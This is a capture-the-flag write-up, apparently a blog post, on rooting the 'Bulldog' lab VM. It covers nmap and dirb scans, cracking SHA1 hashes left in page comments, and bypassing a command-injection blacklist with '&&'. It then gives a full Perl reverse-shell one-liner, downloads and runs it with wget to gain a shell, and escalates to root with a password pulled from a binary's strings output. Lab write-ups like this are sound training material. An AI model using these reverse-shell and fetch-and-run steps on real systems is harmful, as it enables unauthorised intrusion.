Bulldog writeup


Bulldog is an intermediate level machine with supposedly multiple levels of entry made by Nick. Hopefully you will enjoy your stay and read the whole blog. Let’s get started!


Conveniently the machine’s IP (in my case ) is already displayed on the bootup screen and therefore there is no need to run a host-discovery scan. Skip straight to nmap:

root@EdgeOfNight:~# nmap -v -A -T5

Starting Nmap 7.60 ( ) at 2017-10-10 16:01 BST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:01
Completed NSE at 16:01, 0.00s elapsed
Initiating NSE at 16:01
Completed NSE at 16:01, 0.00s elapsed
Initiating ARP Ping Scan at 16:01
Scanning [1 port]
Completed ARP Ping Scan at 16:01, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:01
Completed Parallel DNS resolution of 1 host. at 16:01, 11.01s elapsed
Initiating SYN Stealth Scan at 16:01
Scanning [1000 ports]
Discovered open port 80/tcp on
Discovered open port 23/tcp on
Discovered open port 8080/tcp on
Completed SYN Stealth Scan at 16:01, 2.48s elapsed (1000 total ports)
Initiating Service scan at 16:01
Scanning 3 services on
Completed Service scan at 16:01, 6.49s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
Initiating NSE at 16:01
Completed NSE at 16:01, 7.13s elapsed
Initiating NSE at 16:01
Completed NSE at 16:01, 0.00s elapsed
Nmap scan report for
Host is up (0.00040s latency).
Not shown: 997 closed ports
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (EdDSA)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.007 days (since Tue Oct 10 15:52:18 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.40 ms

NSE: Script Post-scanning.
Initiating NSE at 16:01
Completed NSE at 16:01, 0.00s elapsed
Initiating NSE at 16:01
Completed NSE at 16:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 31.34 seconds
           Raw packets sent: 1191 (54.980KB) | Rcvd: 1179 (49.576KB)

SSH running on port 23? Odd. 2 web servers, one on 80 and other on 8080? Odd as well. Hopefully we can get something out of this! I launch dirb (to find hidden directories) - dirb and proceed to manually browse the webpage for visual clues.

Public notice displays:

There is a mention of clam shell and a smelly cow which in my opinion got mistaken for a reverse shell and dirty c0w kernel root exploit. Is that an indirect hint for exploitation in this machine? We’ll see. That is all I managed to manually find, even after doing some deeper crawling. Hopefully we gave dirb enough time to run and find some good information.


root@EdgeOfNight:~# dirb 

DIRB v2.22    
By The Dark Raver

START_TIME: Tue Oct 10 16:52:00 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                     
==> DIRECTORY:                                       
+ (CODE:200|SIZE:1071)                         
---- Entering directory: ----
==> DIRECTORY:                                
==> DIRECTORY:                               
==> DIRECTORY:                              
---- Entering directory: ----
==> DIRECTORY:                                 
---- Entering directory: ----
==> DIRECTORY:                          
==> DIRECTORY:                           
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')
---- Entering directory: ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')
END_TIME: Tue Oct 10 16:54:12 2017

Duh… Quite a lot to go through. Let’s pick some directories of interest and see what they have to show. For the start I went with /dev/, /dev/shell/ and /admin/.

/dev/ presents us with a webpage

which was supposed to stay hidden from public? That’s a bit suspicious. I quickly reviewed the web source and couldn’t believe my eyes. Take a look for yourself.

<!--Need these password hashes for testing. Django's default is too complex-->
	<!--We'll remove these in prod. It's not like a hacker can do anything with a hash-->
	Team Lead:<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
	Back-up Team Lead:<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
	Front End:<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
	Front End:<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
	Back End:<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
	Back End:<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->


Storing password hashes inside web source via hidden comments? Nice try. I analyze the hashes using hash-identifier, save them in a file and proceed to crack them with John the Ripper using a wordlist of personal preference - rockyou.txt.

root@EdgeOfNight:~# john --wordlist=/root/Wordlists/rockyou.txt --format=raw-sha1 /root/Desktop/hashes.txt 
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog          (nick)
bulldoglover     (sarah)
Use the "--show" option to display all of the cracked passwords reliably
Session completed

--wordlist= - specifies a path to wordlist

--format= - specifies which format the hashes use, in our case sha1

hashes.txt - text file with stored hashes to crack

All we need to find now is a way to login and use the cracked credentials. Onto the next directory /dev/shell/!

No cigar. We need to authenticate first. But where? Maybe we will be able to do so in /admin/ directory?

Indeed we are! Log in using sarah:bulldoglover or nick:bulldog credentials and see what we get.

A dead end from the interface. Not having enough privileges, I do not think we can do much. I’ve spent almost 20 minutes trying to see what I can do within the admin panel and only then realized my stupid mistake. Remember the /dev/shell/ directory which required authentication before accessing it? Why won’t we try again and see what it shows now?

Wooho! Possible command injection? Of course! Similar vulnerability was described in my previous Kioptrix2 blog, so there won’t be any explaining here. After some digging around I noticed that ; is blacklisted and results into this message:

Interesting… Luckily, there are many bypasses for such simple blacklist. For example using encoding (didn’t work this time) or some other alternatives such as && (AND operator). All in all, && successfully bypasses the blacklist and gives us the ability to enter any command of our choosing. Wonderful.


Time to get a sweet shell. This writeup is metesploit-free which means we will depend on manual exploitation and reverse connection rather than using msfvenom & handler. Sorry!

  1. Make a perl file in our webroot (/var/www/html/)
  2. Put perl reverse shell payload into our file (look below)
  3. Start our apache2 (/etc/init.d/apache2 start) or python SimpleHTTPServer
  4. Make the victim download our malicious file via wget from the server & run it.

Perl shell:

use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; - machine for reverse connection (in this case my kali)
1234          - port to connect back to` 

We launch netcat listener - nc -lvp 1234, download and run the perl file on victim machine using: pwd && wget && perl wget retrieves the file from our webserver and perl compiles + runs it.

Easy! Time for some privilege escalation.

Escalating privileges from django to root

From doing a whoami or id command we can see that our shell is running under django user with limited privileges. Escalation is needed. I checked some common directories such as /var/html/, /tmp, /etc/, but got no results. Not finding any system misconfigurations I shift to /home/ where two folders are present. Django (ours) and bulldogadmin. buldogadmin has a hidden file in its home directory which can be seen using ls -la (list all).

Luckily our django user has required read privileges for the folder which will (eventually) lead to the main compromise. Two more files are present - customPermissionApp and note. note is a read only file that describes purpose of the app within the directory. For the sake of simplicity I won’t include it here (It’s too long.). Now our next file is quite an interesting one. We can’t edit or execute it, however readonly permissions are assigned. To get a general idea of how the program behaves I objdump it and run strings. strings customPermissionApp presents us with a beautiful list, and maybe a password.


Please enter a valid username to use root privileges
	Usage: ./customPermissionApp <username>
sudo su root
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609

sudo su root tells us that the hidden password will probably be used for sudo operation. Make sure to keep that in mind. Now, can you see any pattern? It all comes down to your own imagination and luck. Just try connecting words together and see if you can get a valid password to work with sudo. My attempts included:

Note: before doing this you might have to spawn a TTY shell

TTY shell command: python -c 'import pty; pty.spawn("/bin/sh")'

A bit later (1 hour), I manage to guess the correct password! SUPERultimatePASSWORDyouCANTget.

Box has been rooted, congratulations! Go and get the flag!


This VM was awesome! Altough not very hard, I enjoyed it non the less. Always feels good to root a box. Only one question remains… Are there really multiple ways in? I don’t know… Go and find for yourself! I only got this one :). As always if you have any questions feel free to contact me any time or leave a comment.